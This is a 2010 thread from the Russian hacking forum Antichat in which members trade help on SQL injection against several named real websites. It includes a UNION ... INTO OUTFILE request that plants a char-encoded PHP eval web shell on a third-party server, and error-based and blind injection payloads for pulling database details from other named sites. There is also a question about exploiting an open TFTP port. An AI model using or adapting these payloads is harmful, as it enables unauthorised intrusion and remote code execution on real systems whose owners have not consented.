ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
06.07.2010, 15:22
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875
Репутация:
137
|
|
Обьясните как правильно шелл можно залить, что то не получается
|
|
|
06.07.2010, 15:54
|
|
Постоянный
Регистрация: 22.05.2009
Сообщений: 514
Провел на форуме:
3579051
Репутация:
133
|
|
Ты через админку или как?
|
|
|
|
06.07.2010, 16:09
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875
Репутация:
137
|
|
через такой запрос я по логике должен залить шелл по адресу /var/www/html/1.php
Сообщение от None
http://www.grovearcade.com/index.php?page=-6+union+select+1,2,3,4,5,6,7,char(39,60,63,112,104 ,112,32,101,118,97,108,40,36,95,71,69,84,91,39,101 ,39,93,41,32,63,62,39),9,0,11,12+into+outfile+char (39,47,118,97,114,47,119,119,119,47,104,116,109,10 8,47,49,46,112,104,112,39)--
ну не понятно заливается он или нет и п оследущему запросу я пытаюсь вызвать шелл, но опять же ничего не получается(((
Сообщение от None
http://www.grovearcade.com/index.php?page=-6+union+select+1,2,3,4,5,6,7,LOAD_FILE(char(39,60, 63,112,104,112,32,101,118,97,108,40,36,95,71,69,84 ,91,39,101,39,93,41,32,63,62,39)),9,0,11,12--&e=id
: into outfile char?
Чарить хексить и т.п. нельзя, только ковычки. |
|
|
|
06.07.2010, 16:14
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
winstrool, нельзя чарить путь в INTO OUTFILE.
Ctacok, есть такие кнопочки - "Post reply" && "Быстрый ответ" =)
Ctacok: Я не люблю гадить.
Сообщение от ZARO
Через эту скулю шелл не зальётся, она ковычки не экранирует.
Какраз таки экранирует =)
|
|
|
|
06.07.2010, 16:44
|
|
Новичок
Регистрация: 04.07.2010
Сообщений: 10
Провел на форуме:
2526
Репутация:
0
|
|
Добрый день! Подскажите пожалуйста, можно ли как-то использовать удаленно через ip открытый порт 69 TFTP?
|
|
|
|
06.07.2010, 19:12
|
|
Познающий
Регистрация: 06.06.2008
Сообщений: 76
Провел на форуме:
117639
Репутация:
55
|
|
http://www.portugal-tchat.com/host_mes_images/view/870+union+select+1,2,3,4,5,6,7,8,9,10,11
подскажите, куды копать дальше?
|
|
|
|
06.07.2010, 19:13
|
|
Новичок
Регистрация: 12.03.2010
Сообщений: 7
Провел на форуме:
38329
Репутация:
0
|
|
URL уязвима
но я не могу найти число столбцов
http://www.team-dignitas.org/index.php?id=10104
|
|
|
|
06.07.2010, 19:20
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
Сообщение от linuxkernal
URL уязвима
но я не могу найти число столбцов
http://www.team-dignitas.org/index.php?id=10104
крути как слепую..в ошибке указанно почему не можешь найти количество столбцов
http://www.team-dignitas.org/index.php?id=10104'+and+(select+1+from+(select+cou nt(0),concat((select+version()),floor(rand(0)*2))+ from+news+group+by+2+limit+1)a)--+
By Pashkela
|
|
|
|
06.07.2010, 19:40
|
|
Постоянный
Регистрация: 22.05.2009
Сообщений: 514
Провел на форуме:
3579051
Репутация:
133
|
|
Сообщение от durito
http://www.portugal-tchat.com/host_mes_images/view/870+union+select+1,2,3,4,5,6,7,8,9,10,11
подскажите, куды копать дальше?
Помойму это не скуль!
|
|
|
|
06.07.2010, 20:33
|
|
Новичок
Регистрация: 03.01.2009
Сообщений: 27
Провел на форуме:
367442
Репутация:
41
|
|
Сообщение от durito
http://www.portugal-tchat.com/host_mes_images/view/870+union+select+1,2,3,4,5,6,7,8,9,10,11
подскажите, куды копать дальше?
Как вариант...
http://www.portugal-tchat.com/host_mes_images/view/870+and+if(mid(version(),1,1)=5,1,(select+1+union+ select+2))
Условие выполняется - картинка, не выполняется - error.
Возможно все гораздо проще можно сделать...
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
